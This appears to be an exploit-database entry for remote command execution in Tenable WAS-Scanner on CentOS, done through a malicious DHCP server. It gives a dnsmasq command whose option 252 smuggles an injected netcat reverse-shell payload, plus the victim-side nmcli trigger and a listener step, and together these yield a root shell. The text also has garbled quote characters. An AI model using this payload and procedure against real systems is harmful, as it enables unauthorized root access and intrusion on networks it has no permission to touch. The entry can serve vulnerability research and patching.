# Exploit Title: Tenable WAS-Scanner 7.4.1708 - Remote Command Execution # Discovery by: Sameer Goyal# Discovery Date: 2018-05-30# Vendor Homepage: https://www.tenable.com/# Software Link: https://www.tenable.com/products/tenable-io/web-application-scanning# Tested Version: WAS-20180328# Vulnerability Type: Remote Command Execution (RCE)# Tested on OS: CentOS7.4.1708# Vulnerable daemon version: NetworkManager 1.8.0-11.el7_4# Steps to produce the RCE: # Step 1:Setup your malicious DHCP server in the network using dnsmasq:
dnsmasq --interface=eth1 --bind-interfaces--except-interface=lo --dhcp-range=192.168.51.21,192.168.51.25,1h --conf-file=/dev/null --dhcp-option=6,192.168.51.1 --dhcp-option=3,192.168.51.1 --dhcp-option="252,x'&/home/wizard/nc -nv 192.168.51.1 5555 -e /bin/bash #"# DHCP-option-3 => gateway IP/ DHCP server IP.# DHCP-option-6 => DNS IP, which can be same as gateway IP( not mandatory)# DHCP-range => simply subnet range (1h, for 1 hour only)# DHCP option=> ì252,xí&<payload> #î# Start the listener on port 5555 on other terminal .# Step 2: Send the normal IP request to the malicious DHCP server from the victim machine.
nmcli con up ìWired Connection 1î &&ifconfig# Step 3: Check the listener, we have got the reverse shell with root privileges.# Reference: https://www.exploit-db.com/docs/english/45334-obtaining-command-execution-through-the-networkmanager-daemon.pdf
